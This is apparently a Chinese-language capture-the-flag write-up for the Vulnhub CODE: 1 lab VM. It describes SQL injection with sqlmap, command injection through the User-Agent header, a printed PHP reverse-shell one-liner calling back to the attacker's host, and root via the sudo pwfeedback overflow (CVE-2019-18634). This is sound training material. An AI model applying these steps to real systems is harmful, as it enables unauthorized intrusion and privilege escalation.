Vulnhub 靶场 CODE: 1
前期准备:
靶机地址:https://www.vulnhub.com/entry/code-1,665/
kali攻击机ip:192.168.11.128
靶机ip:192.168.11.156
一、信息收集
1.使用nmap对目标靶机进行扫描
发现开放了21、22、80、3306端口。
2. 21端口
匿名登录失败。
3. 80端口
下方有个留言板,简单测了一下没发现什么。扫一下目录:
挨个访问一下:
/admin:
登陆界面。
二、漏洞利用
试了几个弱口令发现和简单爆破了一下发现不行,抓包sqlmap跑一下,先抓下包保存到文件 admin:
sqlmap 跑一下:
发现能注入,查看一下数据库中的信息:
在 user 表中发现了一组用户名密码 admin:wiuweuasndfnmasfwerwereirio。尝试用这组用户名密码登录admin页面:
登陆成功。发现有上传文件的地方,尝试上传个反弹 shell:
并抓包看看:
发现报错了。并且说是非法用户代理。那就在 User-agent 上下点功夫,目前的 User-agent 是:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
我尝试改写,查看上传附近的源码是发现一个 User-agent:
我替换成这个 User-agent 后再次发包:
不过还是报错了,不过和上次的不一样,这次说是空字段。然后我又尝试了上传不同的文件,结果都是一样,然后我暂时放弃了上传文件,打算从其他点入手,不过刚才发现的源码中的 User-agent 应该就是个提示,然后我就抓了整个页面的包,就是登录进来后的页面的包。尝试改写 User-agent:
发现没有变化,然后就像会不会是 User-agent 字段中有注入点或其他东西,然后就试了试 ls 命令,发现回显了目录下的文件:
确定了 User-agent 字段中能执行系统命令,那就尝试写入反弹 shell,尝试了 nc 不行,试了几个之后发现 php exec 可以:
php -r '$sock=fsockopen("192.168.11.128",1234);exec("sh <&3 >&3 2>&3");'
nc 连接成功,升级一下 shell。
三、提权
简单查看一下系统中的文件:
发现 /var/www/.backup_password_for_ftpuser 目录下有个 .ftp.txt 文件。还以为是 ftp 的密码,不过看着也不像,查看一下权限:
发现了一下东西,查看了这三个脚本的权限,发现都不能进行更改,利用不了。然后我注意到 pwfeedback。网上查了一下发现有个在sudoers中设置pwfeedback时缓冲区溢出漏洞:
是 CVE-2019-18634。首先我查找了一下这个漏洞的利用方式:
有两个 poc,第一个用不了,需要密码,那就只能用第二个,不过第二个需要 socat,靶机上并没有,www.data 用户也安装不了,那就使用 apt download socat
命令:
虽然需要密码,不过不用管,直接回车就行,会下载下来压缩包:
解压:
有个 deb 包,靶机上没有 dpkg 命令,也装不了,那就使用 ar 来进行解压:
ar -vx socat_1.7.3.2-2ubuntu2_i386.deb
解压解压出来的两个压缩包:
tar xvvf data.tar.xz
tar xvvf control.tar.xz
socat 文件在 usr/bin/ 目录下,并且能用:
接下来开始提权,我在 github 上找到一个 poc:
https://github.com/Plazmaz/CVE-2019-18634
把 CVE-2019-18634 脚本放到靶机上:
更改 CVE-2019-18634/src/run.sh 脚本中的 socat 的位置:
赋权并运行 run.sh:
得到 root 用户。查看 flag:
其他 flag:
完成。